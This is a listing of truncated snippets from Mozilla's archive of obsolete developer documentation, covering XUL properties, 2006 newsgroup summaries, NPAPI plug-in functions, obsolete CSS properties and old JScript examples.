this makes it possible to have toolbars that are not contained within toolboxes, such as the add-on bar.
valueNumber - Archive of obsolete content
« xul reference valuenumber type: number in contrast to the value property which holds a string representation, the valuenumber property is a number containing the current value of the number box.
webBrowserFind - Archive of obsolete content
« xul reference webbrowserfind type: nsiwebbrowserfind this read-only property contains an nsiwebbrowserfind object which can be used to search for text in the document.
webNavigation - Archive of obsolete content
most of its methods are callable directly on the element itself, such as goback and goforward.
webProgress - Archive of obsolete content
« xul reference webprogress type: nsiwebprogress this read-only property contains an nsiwebprogress object which is used to monitor the progress of a document loading.
year - Archive of obsolete content
ArchiveMozillaXULPropertyyear
set this property to change the selected year.
alert-icon - Archive of obsolete content
this and the other icon classes may be used by image elements or other elements which can have an image.
menuitem-non-iconic - Archive of obsolete content
« xul reference home menuitem-non-iconic normally, menuitems have a margin to the left for an image or checkmark.
question-icon - Archive of obsolete content
« xul reference home question-icon class that adds a question icon, which usually looks like a question mark.
thin - Archive of obsolete content
ArchiveMozillaXULStylethin
« xul reference home thin a thinner separator, which is usually 0.5 ems.
Style classes - Archive of obsolete content
ArchiveMozillaXULStyle
« xul reference home alert-icon chromeclass-toolbar error-icon groove header indent listcell-iconic listitem-iconic menuitem-iconic menuitem-non-iconic message-icon monospace plain question-icon small-margin statusbarpanel-iconic statusbarpanel-iconic-text statusbarpanel-menu-iconic text-link thin tree-splitter treecol-image ...
Template Guide - Archive of obsolete content
ainment properties xml template syntax xml templates xml assignments sql template syntax sqlite templates common template syntax attribute substitution multiple rules using recursive templates building menus with templates special condition tests multiple queries using multiple queries to generate more results building trees with templates building trees building hierarchical trees template modifications template builder interface template and tree listeners rdf modifications additional topics sorting results additional template attributes template logging xml namespaces alternative approaches javascript templates xuljsdatasource: a component for extensions, which bring a "javascript template syntax".
XUL Tutorial - Archive of obsolete content
introduction introduction xul structure the chrome url manifest files simple elements creating a window adding buttons adding labels and images input controls numeric controls list controls progress meters adding html elements using spacers more button features the box model the box model element positioning box model details groupboxes adding more elements more layout elements stacks and decks stack positioning tabboxes grids content panels splitters toolbars and menus toolbars simple menu bars more menu features popup menus scrolling menus events and scripts adding event ...
XUL Parser in Python/source - Archive of obsolete content
def strip(snip): t = re.sub('http://.*?\s', '', snip) return t class xulparser(xmllib.xmlparser): def unknown_starttag(self, t, a): name = strip(t) if name not in el_list: el_list[name] = {} for attr,val in a.items(): el_list[name][strip(attr)] = strip(val) def syntax_error(self, message): pass p = xulparser() cmd = 'dir /s /b *.xul' chrome_dir = 'c:\program files\netscape\netscape 6\chrome' os.chdir(chrome_dir) files = os.popen(cmd).readlines() for file in files: file = file.strip() print '** ' + file + ' **' data = open(file).read() p.feed(data) w.write('<html><h3>periodic table of xul elements</h3>') w.write('<table><style>.head {font-weight: bold; background-color: lightgrey;}</style>') elements = el_list.keys() elemen...
popup - Archive of obsolete content
ArchiveMozillaXULpopup
« xul reference home the popup element is equivalent to the menupopup element which should be used instead.
progressmeter.max - Archive of obsolete content
« xul reference home max type: integer the maximum value that the progressmeter may reach.
Components - Archive of obsolete content
for new components or interface changes of existing ones to be noticed at all, you need to change the buildid in application.ini to trigger a re-registration of the components.
calIFileType - Archive of obsolete content
califiletype is used in caliimporter and caliexporter to determine which file types are supported for import/export.
symsrv_convert - Archive of obsolete content
for me this was c:/windows/syswow64/ ./symsrv_convert.exe http://msdl.microsoft.com/download/symbols /c/symcachet d3d10_1.pdb 64bce4f6b72340f19c453569a3f4a13b1 to build symsrv_convert you'll need to use google-breakpad/src/tools/windows/converter ...
2006-09-29 - Archive of obsolete content
27, the meeting was cancelled and rescheduled for a later date.
2006-10-06 - Archive of obsolete content
sun microsystems contributes to lightning to combine it with openoffice.org sun microsystems provide users with an alternative open source choice by combining openoffice.org respectively staroffice and thunderbird/lightning.
2006-10-20 - Archive of obsolete content
stefan göppert suspect thunderbird inserts a wrong char("") in the bcc-field and want to confirm this issue.
2006-10-27 - Archive of obsolete content
jonathan pritchard has clarified that announcement does not mean thunderbird will be changing direction, just certain areas of development that are of interest to the eudora developers will have more attention paid to them.
2006-11-24 - Archive of obsolete content
thunderbird losing emails tb seems to be deleting mail folders when they reach 4gb in size.
2006-10-13 - Archive of obsolete content
some testing and validation has been done, but they would like other people to look at the installations and complete the setup before they switch over.
2006-12-01 - Archive of obsolete content
paul reed announced that: the server which performs the automatic autoconf/configure generation is back online.
2006-09-22 - Archive of obsolete content
summary: mozilla.dev.i18n - feb 2nd - sep 22nd, 2006 announcements testing a dummy greek bon echo nsis installer bug #69230: accelerators should not be affected by keyboard group/level proposal of code changes for l10n in firefox 3 discussions thai language support: how can we add thai as an official localized build?
2006-10-13 - Archive of obsolete content
authors paul yanchun gu (gpaul) aditya nanda kuswanto(vipers101) ...
2006-12-08 - Archive of obsolete content
authors paul yanchun gu (gpaul) aditya nanda kuswanto(vipers101) ...
2006-10-13 - Archive of obsolete content
(meeting notes) bon echo status meeting a bon echo status meeting was held on oct.
2006-10-27 - Archive of obsolete content
meeting notes gecko 1.9 bug triage meeting gecko 1.9 bug triage meeting - 3pm pdt final bon echo status meeting the final bon echo status meeting happened on october 24th, 2006.
2006-11-24 - Archive of obsolete content
announcments bon echo status mike beltzner posted a small to-do list with regards to bon echo firefox 1.5.0.9/2.0.0.1 jay patel posted an update of bugs for the firefox 1.5.0.9/2.0.0.1 releases discussion non-ascii rendering performance boris zbarsky made some suggestions on how to improve international font rendering cvs commit access changes a large discussion went on about changes to policies surrounding cvs commit access project drivers and technical oversight mike connor suggested ways to better organize project management, policy making, and technical oversight.
2006-09-29 - Archive of obsolete content
instead of using /path/to/xulrunner-bin.ini (which will was doing) applications on a mac must be in an application bundle (foo.app).
2006-10-06 - Archive of obsolete content
summary: mozilla.dev.platform - september 30th to october 6th 2006 announcements mike schroepfer is attending a vista compatibility lab with some other people this week.
2006-10-13 - Archive of obsolete content
summary: mozilla.dev.platform - october 7th to october 13th 2006 announcements no announcments this week other traffic javascript package system for 1.9/ff3 on sun, oct 8 2006 robert sayre inquires about the javascript package system for 1.9 for firefox 3, robert would like to know if there is any chance we'll get this?
2006-10-20 - Archive of obsolete content
nickolay ponomarev, benjamin smedberg, axel hecht clarify some misconceptions about front-end and back-end programming with xulrunner, including the difficulty of writing the backends in c++ (since that would require a recompilation on every platform frank wanted to support).
2006-10-27 - Archive of obsolete content
traffic status of xpcom cycle collector graydon hoare provides the xpcom patch which experiments with implementing a general-purpose garbage-cycle collector for xpcom.
2006-10-13 - Archive of obsolete content
- he just permission to confirm bugs, but he still needs help with how to do things - such as how to assign bugs.
2006-10-27 - Archive of obsolete content
he recommends that a non-xpcshell environment is needed really badly, but the big issue is that the xpcshell doesn't have an event loop, so nothing asynchronous can be tested.
2006-11-03 - Archive of obsolete content
summary: mozilla.dev.quality - october 27-november 3, 2006 announcements a change in tp2's numbers - rob helmer is going to be landing a patch that adam guthrie made to fix how tp2 reports its average pageload times.
2006-11-24 - Archive of obsolete content
champion for fixing enable_test - a champion is needed to replace davel for cleaning up the enable_test build target meetings none authors mark d'souza (mdsouza) mohamed attar (mojo) ...
2006-12-01 - Archive of obsolete content
summary: mozilla.dev.quality - november 25-december 1, 2006 announcements need volunteers to maintain jssh for testing on firefox 2 branch - dave liebreich is looking for someone willing to take responsibility for maintaining jssh for testing purposes.
2006-09-29 - Archive of obsolete content
discussions file: vs resource: vs chrome: from a security point of view boris zbarsky gives a summary the current setup for checkloaduri (which type of security principal can load what) and asks for comments about whether that is the desired behaviour.
2006-10-13 - Archive of obsolete content
discussions extended privileges prompt mitchi asked if it was possible to revoke the checkbox auto approving some scripts.
2006-10-20 - Archive of obsolete content
joes noticed that mp3 files are no longer allowed to be opened directly from email attachments in trunk builds of thunderbird and seamonkey.
2006-10-27 - Archive of obsolete content
discussions extending javascript mitchi is working on a csp (cryptographic service provider) that works on a usb flash drive.
2006-11-17 - Archive of obsolete content
micahc asked if there is an easier way to detect if firefox is installed and fully patched on any given machine, externally.
2006-09-22 - Archive of obsolete content
caldwell submitted a patch for rhino (filed under bug #353501) with a number of improvements.
2006-12-01 - Archive of obsolete content
it supports a apache2 module and stand alone version.
2006-12-24 - Archive of obsolete content
summary: mozilla.dev.tech.layout november 24 -december 1, 2006 announcements none this week.
2006-12- 02 - Archive of obsolete content
summary: mozilla.dev.tech.layout - november 24 2006 - december 2, 2006 announcements none this week.
2006-09-06 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - oct 06-13, 2006 announcements none during this week.
2006-09-30 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - sept 30- oct 5, 2006 announcements build a xpcom component on mac os x benjamin smedberg confirmed that this tutorial http://www.iosart.com/firefox/xpcom/ is misleading as it uses the standalone glue (-dxpcom_glue) for components, which is not recommended.
2006-10-13 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - oct 13-20, 2006 announcements none during this week.
2006-11-17 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - nov 11-nov 17, 2006 announcements none during this week.
2006-11-3 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - oct 28-nov 3, 2006 announcements none during this week.
2006-12-01 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - nov 25- dec 01, 2006 announcements none during this week.
2006-12-08 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - dec 02- dec 08, 2006 announcements none during this week.
2006-09-22 - Archive of obsolete content
summary: mozilla.dev.tech.xul - sept 22-29, 2006 return to mozilla-dev-tech-xul announcements none during this week.
2006-09-29 - Archive of obsolete content
summary: mozilla.dev.tech.xul - sept 22-29, 2006 return to mozilla-dev-tech-xul announcements none during this week.
2006-10-06 - Archive of obsolete content
summary: mozilla.dev.tech.xul - sept 29-oct 06, 2006 return to mozilla-dev-tech-xul announcements none during this week.
2006-10-13 - Archive of obsolete content
summary: mozilla.dev.tech.xul - oct 07-oct 13, 2006 return to mozilla-dev-tech-xul announcements none during this week.
2006-10-27 - Archive of obsolete content
summary: mozilla.dev.tech.xul - oct 21-oct 27, 2006 return to mozilla-dev-tech-xul announcements none during this week.
2006-11-03 - Archive of obsolete content
summary: mozilla.dev.tech.xul - oct 28-nov 3, 2006 return to mozilla-dev-tech-xul announcements none during this week.
2006-11-10 - Archive of obsolete content
summary: mozilla.dev.tech.xul - nov 4-nov 10, 2006 return to mozilla-dev-tech-xul announcements none during this week.
2006-11-24 - Archive of obsolete content
summary: mozilla.dev.tech.xul - nov 18-nov 24, 2006 return to mozilla-dev-tech-xul announcements none during this week.
2006-12-01 - Archive of obsolete content
summary: mozilla.dev.tech.xul - nov 25-dec 01, 2006 return to mozilla-dev-tech-xul announcements none during this week.
2006-10-27 - Archive of obsolete content
meetings no meetings were scheduled this week.
2006-11-10 - Archive of obsolete content
meetings no meetings were scheduled this week.
2006-11-17 - Archive of obsolete content
meetings no meetings were scheduled this week.
2006-11-24 - Archive of obsolete content
meetings no meetings were scheduled this week.
2006-12-01 - Archive of obsolete content
meetings no meetings were scheduled this week.
Newsgroup summaries - Archive of obsolete content
formatmozilla.dev.apps.firefox-2006-09-29mozilla.dev.apps.firefox-2006-10-06mozilla.dev.apps.calendarmozilla.dev.tech.js-enginemozilla-dev-accessibilitymozilla-dev-apps-calendarmozilla-dev-apps-firefoxmozilla-dev-apps-thunderbirdmozilla-dev-buildsmozilla-dev-embeddingmozilla-dev-extensionsmozilla-dev-i18nmozilla-dev-l10nmozilla-dev-planningmozilla-dev-platformmozilla-dev-qualitymozilla-dev-securitymozilla-dev-tech-js-enginemozilla-dev-tech-layoutmozilla-dev-tech-xpcommozilla-dev-tech-xul ...
Browser-side plug-in API - Archive of obsolete content
this chapter describes methods in the plug-in api that are provided by the browser; these allow call back to the browser to request information, tell the browser to repaint part of the window, and so forth.
NPAnyCallbackStruct - Archive of obsolete content
this structure contains the file pointer to which the plug-in should write its postscript data.
NPEmbedPrint - Archive of obsolete content
unix the plug-in location and size in the npwindow are in page coordinates (720/ inch), but the printer requires point coordinates (72/inch).
NPFullPrint - Archive of obsolete content
false: display print dialogs so user can choose printer, other options.
NPIdentifier - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary npidentifier is an opaque type used for method and property identifiers, such as strings or integers.
NPN_CreateObject - Archive of obsolete content
syntax #include <npruntime.h> npobject *npn_createobject(npp npp, npclass *aclass); parameters the function has the following parameters: <tt>npp</tt> the npp indicating which plugin wants to instantiate the object.
NPN_Evaluate - Archive of obsolete content
syntax #include <npruntime.h> bool npn_evaluate(npp npp, npobject *npobj, npstring *script, npvariant *result); parameters the function has the following parameters: npp the npp indicating which plugin instance's window to evaluate the script in.
NPN_GetIntIdentifier - Archive of obsolete content
syntax #include <npruntime.h> npidentifier npn_getintidentifier(int32_t intid); parameters the function has the following parameter: <tt>intid</tt> the integer for which an opaque identifier should be returned.
NPN_GetStringIdentifier - Archive of obsolete content
syntax #include <npruntime.h> npidentifier npn_getstringidentifier(const nputf8 *name); parameters the function has the following parameters: <tt>name</tt> the string for which an opaque identifier should be returned.
NPN_InvalidateRect - Archive of obsolete content
after calling this method, the plug-in receives a paint message asynchronously.
NPN NewStream - Archive of obsolete content
syntax #include <npapi.h> nperror npn_newstream(npp instance, npmimetype type, const char* target, npstream** stream); parameters the function has the following parameters: instance pointer to current plug-in instance.
NPN_ReleaseObject - Archive of obsolete content
if the reference count reaches 0, the npobject is deallocated by calling its deallocate function if one is provided; if one is not provided, free() is used.
NPN_ReleaseVariantValue - Archive of obsolete content
this must always be called on result variants and such in this api, i.e.
NPN_SetException - Archive of obsolete content
syntax #include <npruntime.h> void npn_setexception(npobject *npobj, const nputf8 *message); parameters the function has the following parameters: <tt>npobj</tt> the object on which the exception occurred.
NPN_Status - Archive of obsolete content
syntax #include <npapi.h> void npn_status(npp instance, const char* message); parameters the function has the following parameters: instance pointer to the current plug-in instance.
NPN_UserAgent - Archive of obsolete content
syntax #include <npapi.h> const char* npn_useragent(npp instance); parameters the function has the following parameter: instance pointer to the current plug-in instance.
NPP_Destroy - Archive of obsolete content
the browser can and will discard this data based on arbitrary criteria such as its size and the user's page history.
NPP_DestroyStream - Archive of obsolete content
npres_user_break: user canceled stream directly by clicking the stop button or indirectly by some action such as deleting the instance or initiating higher-priority network operations.
NPP_SetValue - Archive of obsolete content
syntax #include <npapi.h> nperror npp_setvalue(void *instance, npnvariable variable, void *value); parameters the function has the following parameters: instance pointer to plugin instance on which to set the variable.
NPP_StreamAsFile - Archive of obsolete content
syntax #include <npapi.h> void npp_streamasfile(npp instance, npstream* stream, const char* fname); parameters the function has the following parameters: instance pointer to current plug-in instance.
NPSetWindowCallbackStruct - Archive of obsolete content
the remaining fields are standard x toolkit attributes of the top-level shell window in the browser window hierarchy.
NPVariantType - Archive of obsolete content
syntax typedef enum { npvarianttype_void, npvarianttype_null, npvarianttype_bool, npvarianttype_int32, npvarianttype_double, npvarianttype_string, npvarianttype_object } npvarianttype; description each type is self-explanatory.
NPAPI plug-in side API - Archive of obsolete content
this chapter describes methods in the plug-in api that are available from the plug-in object; these allow plug-ins to interact with the browser.
Samples and Test Cases - Archive of obsolete content
spy tester npapi plugin test cases mozilla.org qa plugins testcases mozilla.org qa oji testcases plugins verification testing checklist (including smoketesting) ...
Why use RSS - Archive of obsolete content
mozilla firefox has some support for rss (with it's live bookmark technology.).
Content - Archive of obsolete content
documentation selected articles why rss content module is popular - including html contents charles iliya krempeaux talks about the rss content module, why it is popular among some, and how it is used to include html contents.
Slash - Archive of obsolete content
ArchiveRSSModuleSlash
documentation selected articles up to 10 why rss slash is popular: counting your comments charles iliya krempeaux talks about the rss slash module, why it is popular among some, and how it is used to give a count for your comments (2005-08-22).
Well-Formed Web - Archive of obsolete content
documentation selected articles why well-formed web rss module is popular - syndicating your comments charles iliya krempeaux talks about the rss well-formed web module, why it is popular among some, and how it is used to link to your comments (2005-08-22).
Module - Archive of obsolete content
name common prefix status release date author atomic rss atom july 27, 2005 tim bray blogchannel september 17, 2002 dave winer content content creativecommons cc december 16, 2002 dave winer dublin core dc slash slash well-formed web wfw joe gregorio and chri...
Use Case - Archive of obsolete content
use cases between rss aggregators and rss feeds polling rss feeds figuring out which version of rss 0.91 you have how to handle enclosures http mime type handling use cases between users and rss feeds subscribing to an rss feed ...
Element - Archive of obsolete content
rss elements a <author> (rss author element) b c <category> (rss category element) <channel> (rss channel element) <cloud> (rss cloud element) <comments> (rss comments element) <copyright> (rss copyright element) d <day> (rss day element) <description> (rss description element) <docs> (rss docs element) e <enclosure> (rss enclosure element) f g <generator> (rss generator element) <guid> (rss guid element) h <height> (rss height element) <hour> (rss hour element) i <image> (rss image element) <item> (rss item element) j k l <language> (rss language element) <lastbuilddate> (rss last build date element) <link> (rss link element) m <managingeditor> (rss managing editor element) n <name> (rss name element) o p <pubdate> (rss ...
Security - Archive of obsolete content
decryption is the process of transforming encrypted information so that it is intelligible again.introduction to public-key cryptographypublic-key cryptography and related standards and techniques underlie the security features of many products such as signed and encrypted email, single sign-on, and secure sockets layer (ssl) communications.
Firefox Developer Tools - Archive of obsolete content
these are articles related to the firefox developer tools, which are no longer current.
-moz-border-bottom-colors - Archive of obsolete content
/* single <color> value */ -moz-border-bottom-colors: #f0f0f0; /* multiple <color> values */ -moz-border-bottom-colors: #f0f0f0 #a0a0a0 #505050 #000000; /* global values */ -moz-border-bottom-colors: inherit; -moz-border-bottom-colors: initial; -moz-border-bottom-colors: unset; when an element has a border that is larger than a single css pixel, each line of pixels uses the next color specified in this property, from the outside in.
-moz-border-left-colors - Archive of obsolete content
/* single <color> value */ -moz-border-left-colors: #f0f0f0; /* multiple <color> values */ -moz-border-left-colors: #f0f0f0 #a0a0a0 #505050 #000000; /* global values */ -moz-border-left-colors: inherit; -moz-border-left-colors: initial; -moz-border-left-colors: unset; when an element has a border that is larger than a single css pixel, each line of pixels uses the next color specified in this property, from the outside in.
-moz-border-right-colors - Archive of obsolete content
/* single <color> value */ -moz-border-right-colors: #f0f0f0; /* multiple <color> values */ -moz-border-right-colors: #f0f0f0 #a0a0a0 #505050 #000000; /* global values */ -moz-border-right-colors: inherit; -moz-border-right-colors: initial; -moz-border-right-colors: unset; when an element has a border that is larger than a single css pixel, each line of pixels uses the next color specified in this property, from the outside in.
-moz-border-top-colors - Archive of obsolete content
/* single <color> value */ -moz-border-top-colors: #f0f0f0; /* multiple <color> values */ -moz-border-top-colors: #f0f0f0 #a0a0a0 #505050 #000000; /* global values */ -moz-border-top-colors: inherit; -moz-border-top-colors: initial; -moz-border-top-colors: unset; when an element has a border that is larger than a single css pixel, each line of pixels uses the next color specified in this property, from the outside in.
-moz-window-shadow - Archive of obsolete content
in firefox 3.5 the default changed, with all windows having a shadow.
-ms-hyphenate-limit-zone - Archive of obsolete content
initial value0applies toblock container elementsinheritedyespercentagescalculated with respect to the width of the line boxcomputed valueas specifiedanimation typediscrete syntax values <percentage> an integer followed by a percent sign (%), which specifies the width of the hyphenation zone, calculated with respect to the line box.
-ms-scroll-limit - Archive of obsolete content
initial valueas each of the properties of the shorthand:-ms-scroll-limit-x-min: 0-ms-scroll-limit-y-min: 0-ms-scroll-limit-x-max: auto-ms-scroll-limit-y-max: autoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas each of the properties of the shorthand:-ms-scroll-limit-x-min: as specified-ms-scroll-limit-y-min: as specified-ms-scroll-limit-x-max: as specified-ms-scroll-limit-y-max: as specifiedanimation typediscrete syntax the -ms-scroll-limit property is specified as one or more of the following scroll limit values, in the orde...
-ms-scroll-rails - Archive of obsolete content
starting with windows 8.1, this property is also supported for touchpad interaction.
-ms-scroll-translation - Archive of obsolete content
this property enables you to change this behavior for vertical scroll events.
-ms-scrollbar-base-color - Archive of obsolete content
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples this example uses -ms-scrollbar-base-color and -ms-scrollbar-arrow-color to create two <div> objects with different scroll bar color schemes.
-ms-scrollbar-highlight-color - Archive of obsolete content
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples this example uses -ms-scrollbar-highlight-color, -ms-scrollbar-face-color, and -ms-scrollbar-arrow-color to create two <div> objects with different scroll bar color schemes.
-ms-scrollbar-track-color - Archive of obsolete content
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples this example uses -ms-scrollbar-track-color, -ms-scrollbar-face-color, and -ms-scrollbar-arrow-color to create two <div> elements with different scroll bar color schemes.
:-moz-full-screen-ancestor - Archive of obsolete content
the :-moz-full-screen-ancestor css pseudo-class is a mozilla extension that represents all ancestors of the full-screen element, except containing frames in parent documents, which are the full-screen element in their own documents.
-moz-windows-compositor - Archive of obsolete content
to xul / chrome code).
::-ms-clear - Archive of obsolete content
such inputs include: <input type="color"> <input type="date"> <input type="datetime"> <input type="datetime-local"> <input type="email"> <input type="month"> <input type="number"> <input type="search"> <input type="tel"> <input type="time"> <input type="url"> <input type="week"> allowable properties only the following css properties can be used in a rule with ::-ms-clear in its select...
::-ms-fill - Archive of obsolete content
by setting animation-name on ::-ms-fill, you can change the animation, as shown in this table: value description none turns off the animation so that no dots are displayed.
-moz-mac-graphite-theme - Archive of obsolete content
to xul / chrome code).
-moz-scrollbar-end-backward - Archive of obsolete content
to xul / chrome code).
-moz-scrollbar-end-forward - Archive of obsolete content
to xul / chrome code).
-moz-scrollbar-start-backward - Archive of obsolete content
to xul / chrome code).
-moz-scrollbar-start-forward - Archive of obsolete content
to xul / chrome code).
-moz-scrollbar-thumb-proportional - Archive of obsolete content
to xul / chrome code).
-moz-windows-accent-color-in-titlebar - Archive of obsolete content
to xul / chrome code).
-moz-windows-classic - Archive of obsolete content
to xul / chrome code).
-moz-windows-default-theme - Archive of obsolete content
to xul / chrome code).
-moz-windows-glass - Archive of obsolete content
to xul / chrome code).
@media - Archive of obsolete content
ArchiveWebCSS@media
parent for archived media features.
azimuth - Archive of obsolete content
ArchiveWebCSSazimuth
this is important in that it provides a natural way to tell several voices apart, as each can be positioned to originate at a different location on the sound stage.
Debug.debuggerEnabled - Archive of obsolete content
debugging may be enabled or disabled whether or not a debugger is attached.
Debug.msTraceAsyncCallbackCompleted - Archive of obsolete content
indicates that the callback stack associated with a previously specified asynchronous operation has completed.
Debug.msTraceAsyncOperationStarting - Archive of obsolete content
initiates a trace for an asynchronous operation.
Debug.write - Archive of obsolete content
the only difference is that the debug.writeln function sends a newline character after the strings are sent.
Enumerator.atEnd - Archive of obsolete content
example in following code, the atend method is used to determine if the end of a list of drives has been reached: function showdrives() { var s = ""; var bytespergb = 1024 * 1024 * 1024; var fso = new activexobject("scripting.filesystemobject"); var e = new enumerator(fso.drives); e.movefirst(); while (e.atend() == false) { var drv = e.item(); s += drv.path + " - "; if (drv.isready) { var freegb = drv.freespace / bytespergb; ...
Error.description - Archive of obsolete content
try { // cause an error: x = y } catch(e) { // prints "[object error]": document.write(e) document.write (" "); // prints 5009: document.write((e.number & 0xffff)) document.write (" "); // prints "'y' is undefined": document.write(e.description); document.write (" "); // prints "'y' is undefined": document.write(e.message) } requirements supported in the following document modes: quirks, internet explore...
Error.number - Archive of obsolete content
var x = y; } catch(e) { document.write ("error code: "); document.write (e.number & 0xffff) document.write ("<br />"); document.write ("facility code: ") document.write(e.number>>16 & 0x1fff) document.write ("<br />"); document.write ("error message: ") document.write (e.message) } example the output of this code is as follows.
ScriptEngine() - Archive of obsolete content
syntax scriptengine() remarks the scriptengine function returns "jscript", which indicates that javascript is the current scripting engine.
VBArray.dimensions - Archive of obsolete content
the second part is javascript code that determines the number of dimensions in the safe array and the upper bound of each dimension.
VBArray.getItem - Archive of obsolete content
the second part is javascript code that iterates the visual basic safe array and prints out the contents of each element.
Reflect.enumerate() - Archive of obsolete content
syntax reflect.enumerate(target) parameters target the target object on which to get the property.
arguments.caller - Archive of obsolete content
function whocalled() { if (whocalled.caller == null) console.log('i was called from the global scope.'); else console.log(whocalled.caller + ' called me!'); } examples the following code was used to check the value of arguments.caller in a function, but doesn't work anymore.
JSObject - Archive of obsolete content
the expression is a string of javascript source code which will be evaluated in the context given by "this".
Community - Archive of obsolete content
mailing list newsgroup rss feed irc channel w3c forms mailinglist xforms development blog ...
RFE to the Custom Controls - Archive of obsolete content
xul, in many cases, is much better suited for application development than xhtml.
Touch Event Horizon - Game development
this article is for touch event horizon and a game related to it touch gestures and events link the example game github repository live demo setting up the canvas counting the taps touchstart, touchend collecting the bonus touchmove future developments summary this tutorial shows how to use touch events to create a game on a <canvas>.
Character sets supported by Gecko - Gecko Redirect 1
gecko supports the character encodings defined in the encoding standard.
ui.SpellCheckerUnderline
ui.spellcheckerunderline holds the colour which is used to underline words not recognized by the spellchecker.
ui.SpellCheckerUnderlineStyle
ui.spellcheckerunderlinestyle holds the style which is used to underline words not recognized by the spellchecker.
PR_NOT_REACHED
syntax #include <prlog.h> void pr_not_reached(const char *_reasonstr); parameters the macro has this parameter: reasonstr a string that describes why you should not have reached this statement.
Thread Synchronization Sample
enrich mozilla developer center by contributing.
GetChildNodeAt
this content is now available at nsiaccessnode.getchildnodeat().
nsIAccessibleStateChangeEvent
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview boolean isenabled(); boolean isextrastate(); attributes attribute type description state unsigned long returns the state of accessible (see constants declared in nsiaccessiblestates).
nsIAccessibleTableChangeEvent
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) attributes attribute type description numrowsorcols long return the number of rows or cols.
nsIMsgSearchScopeTerm
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchscopeterm.idl [scriptable, uuid(934672c3-9b8f-488a-935d-87b4023fa0be)] interface nsimsgsearchscopeterm : nsisupports { nsiinputstream getinputstream(in nsimsgdbhdr ahdr); void closeinputstream(); readonly attribute nsimsgfolder folder; readonly attribute nsimsgsearchsession searchsession; }; ...
nsIMsgSearchValue
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchvalue.idl #include "nsmsgsearchcore.idl" interface nsimsgfolder; [scriptable, uuid(783758a0-cdb5-11dc-95ff-0800200c9a66)] interface nsimsgsearchvalue : nsisupports { // type of object attribute nsmsgsearchattribvalue attrib; // accessing these will throw an exception if the above // attribute does not match the type!
nsINavHistoryBatchCallback
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void runbatched(in nsisupports auserdata); methods runbatched() void runbatched( in nsisupports auserdata ); parameters auserdata see also nsinavhistoryservice.runinbatchmode() nsinavbookmarksservice.runinbatchmode() ...
nsMsgSearchTypeValue
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl used to specify type of search to be performed [scriptable,uuid(964b7f32-304e-11d3-ae13-00a0c900d445)] interface nsmsgsearchtype { const nsmsgsearchtypevalue none = 0; const nsmsgsearchtypevalue rootdse = 1; const nsmsgsearchtypevalue normal = 2; const nsmsgsearchtypevalue ldapvlv = 3; const nsmsgsearchtypevalue namecompletion = 4; }; ...
nsMsgSearchValue
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl use this to specify the value of a search term [ptr] native nsmsgsearchvalue(nsmsgsearchvalue); %{c++ typedef struct nsmsgsearchvalue { nsmsgsearchattribvalue attribute; union { nsmsgpriorityvalue priority; prtime date; pruint32 msgstatus; /* see msg_flag in msgcom.h */ pruint32 size; nsmsgkey key; print32 age; /* in days */ nsimsgfolder *folder; nsmsglabelvalue label; pruint32 junkstatus; pruint32 junkpercent; } u; char *string; } nsmsgsearchvalue; ...
nsMsgSearchWidgetValue
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl fes use this to help build the search dialog box typedef long nsmsgsearchwidgetvalue; /* fes use this to help build the search dialog box */ [scriptable,uuid(903dd2e8-304e-11d3-92e6-00a0c900d445)] interface nsmsgsearchwidget { const nsmsgsearchwidgetvalue text = 0; const nsmsgsearchwidgetvalue date = 1; const nsmsgsearchwidgetvalue menu = 2; const nsmsgsearchwidgetvalue int = 3; /* added to account for age in days which requires an integer field */ const nsmsgsearchwidgetvalue none = 4; }; ...
nsIMsgSearchValue
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchvalue.idl #include "nsmsgsearchcore.idl" interface nsimsgfolder; [scriptable, uuid(783758a0-cdb5-11dc-95ff-0800200c9a66)] interface nsimsgsearchvalue : nsisupports { // type of object attribute nsmsgsearchattribvalue attrib; // accessing these will throw an exception if the above // attribute does not match the type!
nsICookie2 MOZILLA 1 8 BRANCH
last changed in gecko 1.9 (firefox 3) inherits from: nsicookie2 attributes attribute type description ishttponly boolean holds true if the cookie is an http only cookie.
Using IndexedDB in chrome
globalproperties": ["indexeddb"] } var principal = cc["@mozilla.org/systemprincipal;1"].createinstance(ci.nsiprincipal); var sandbox = components.utils.sandbox(principal, options); // the sandbox will have access to indexeddb var sandboxscript = 'var req = indexeddb.open("my-database");'; components.utils.evalinsandbox(sandboxscript, sandbox); before firefox 33, you would access indexeddb from chrome code using the initwindowless method of the nsiindexeddatabasemanager service.
BroadcastChannel.onmessageerror - Web APIs
the onmessageerror event handler of the broadcastchannel interface is an eventlistener, called whenever an messageevent of type messageerror is fired on the broadcastchannel instance — that is, when it receives a message that cannot be deserialized.
Element: MSGestureChange event - Web APIs
the msgesturechange event is fired when touch contact positions move and also while inertia-based movements are being processed.
Element: gesturechange event - Web APIs
the gesturechange event is fired when digits move during a touch gesture.
EventTarget.attachEvent() - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
Selection.selectionLanguageChange() - Web APIs
selection.selectionlanguagechange() method is a gecko/firefox internal method that was exposed to web pages until firefox 29.
Reason: CORS preflight channel did not succeed - HTTP
reason reason: cors preflight channel did not succeed what went wrong?
